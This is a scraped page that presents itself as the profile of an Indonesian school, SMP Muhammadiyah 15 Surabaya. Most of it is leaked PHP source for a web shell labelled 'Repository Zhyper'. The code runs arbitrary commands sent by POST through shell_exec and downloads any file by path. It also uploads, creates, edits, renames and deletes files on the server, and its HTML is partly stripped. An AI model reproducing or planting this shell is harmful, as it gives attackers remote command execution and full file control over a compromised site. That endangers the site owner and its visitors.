Profil SMP Muhammadiyah 15 Surabaya

Masuk

Masuk

$error
"; } ?>
Direktori tidak valid atau tidak ditemukan."; $folders = []; $files = []; } else { $folders = []; $files = []; $scandir = scandir($path); foreach ($scandir as $item) { $fullpath = "$path/$item"; if (is_dir($fullpath) && $item != '.' && $item != '..') { $folders[] = $item; } elseif (is_file($fullpath)) { $files[] = $item; } } } function downloadFile($file) { if (file_exists($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } else { echo ""; } } function getPermissions($file) { $perms = fileperms($file); switch ($perms & 0xF000) { case 0xC000: $info = 's'; break; case 0xA000: $info = 'l'; break; case 0x8000: $info = '-'; break; case 0x6000: $info = 'b'; break; case 0x4000: $info = 'd'; break; case 0x2000: $info = 'c'; break; case 0x1000: $info = 'p'; break; default: $info = 'u'; } $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); return $info; } if (isset($_GET['download'])) { downloadFile($_GET['download']); } $cmdResult = null; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['cmd'])) { $cmd = $_POST['cmd']; if (is_dir($path)) { chdir($path); } if (is_callable('shell_exec') && !in_array('shell_exec', explode(',', ini_get('disable_functions')))) { $cmdResult = shell_exec($cmd . ' 2>&1'); if (empty($cmdResult)) { $cmdResult = "No Output"; } } else { $cmdResult = "Not Shell: shell_exec() is disabled on this server."; } } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'upload') { if (isset($_FILES['file'])) { $fileName = basename($_FILES['file']['name']); if (preg_match('/^[a-zA-Z0-9_\-\.]+$/', $fileName)) { $targetPath = $path . '/' . $fileName; if (move_uploaded_file($_FILES['file']['tmp_name'], $targetPath)) { echo "
File berhasil diupload!
"; } else { echo "
Gagal mengupload file!
"; } } else { echo "
Nama file tidak valid!
"; } } } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'create_file') { if (isset($_POST['name']) && preg_match('/^[a-zA-Z0-9_\-\.]+$/', $_POST['name'])) { $filePath = $path . '/' . $_POST['name']; if (file_put_contents($filePath, "") !== false) { echo "
File berhasil dibuat!
"; } else { echo "
Gagal membuat file!
"; } } else { echo "
Nama file tidak valid!
"; } } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'create_folder') { if (isset($_POST['name']) && preg_match('/^[a-zA-Z0-9_\-]+$/', $_POST['name'])) { $folderPath = $path . '/' . $_POST['name']; if (mkdir($folderPath)) { echo "
Folder berhasil dibuat!
"; } else { echo "
Gagal membuat folder!
"; } } else { echo "
Nama folder tidak valid!
"; } } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'], $_POST['target'])) { $action = $_POST['action']; $targetPath = $_POST['target']; switch ($action) { case 'delete': if (is_file($targetPath)) { if (unlink($targetPath)) { echo json_encode(['status' => 'success', 'message' => 'File berhasil dihapus!']); } else { echo json_encode(['status' => 'error', 'message' => 'Gagal menghapus file!']); } } elseif (is_dir($targetPath)) { if (rmdir($targetPath)) { echo json_encode(['status' => 'success', 'message' => 'Folder berhasil dihapus!']); } else { echo json_encode(['status' => 'error', 'message' => 'Gagal menghapus folder!']); } } else { echo json_encode(['status' => 'error', 'message' => 'Target tidak valid!']); } exit; case 'edit': if (isset($_POST['content'])) { $handle = fopen($targetPath, 'w'); if ($handle) { fwrite($handle, $_POST['content']); fclose($handle); echo json_encode(['status' => 'success', 'message' => 'File berhasil diedit!']); } else { echo json_encode(['status' => 'error', 'message' => 'Tidak dapat membuka file untuk menulis!']); } } else { if (file_exists($targetPath)) { $content = file_get_contents($targetPath); echo json_encode(['status' => 'success', 'content' => $content]); } else { echo json_encode(['status' => 'error', 'message' => 'File tidak ditemukan!']); } } exit; case 'rename': if (isset($_POST['new_name'])) { $newPath = dirname($targetPath) . '/' . $_POST['new_name']; if (rename($targetPath, $newPath)) { echo json_encode(['status' => 'success', 'message' => 'Berhasil mengganti nama!']); } else { echo json_encode(['status' => 'error', 'message' => 'Gagal mengganti nama!']); } } else { echo json_encode(['status' => 'error', 'message' => 'Nama baru tidak diberikan!']); } exit; } } ?> Repository Zhyper

Repository Zhyper

Current Directory: "; $paths = explode('/', trim($path, '/')); $currentPath = ''; foreach ($paths as $index => $folder) { $currentPath .= '/' . $folder; echo "$folder"; if ($index < count($paths) - 1) { echo " / "; } } echo " [Home]"; echo "

"; ?>
"; } $folders = []; $files = []; $scandir = scandir($path); foreach ($scandir as $item) { $fullpath = "$path/$item"; if (is_dir($fullpath) && $item != '.' && $item != '..') { $folders[] = $item; } elseif (is_file($fullpath)) { $files[] = $item; } } foreach ($folders as $folder) { $fullpath = rtrim($path, '/') . '/' . $folder; echo ""; } foreach ($files as $file) { $fullpath = "$path/$file"; $size = round(filesize($fullpath) / 1024, 2) . ' KB'; echo ""; } ?>
Nama Ukuran Izin Aksi
Kembali ke " . basename($parentPath) . " -- -- --
$folder -- " . getPermissions($fullpath) . "
$file $size " . getPermissions($fullpath) . " Unduh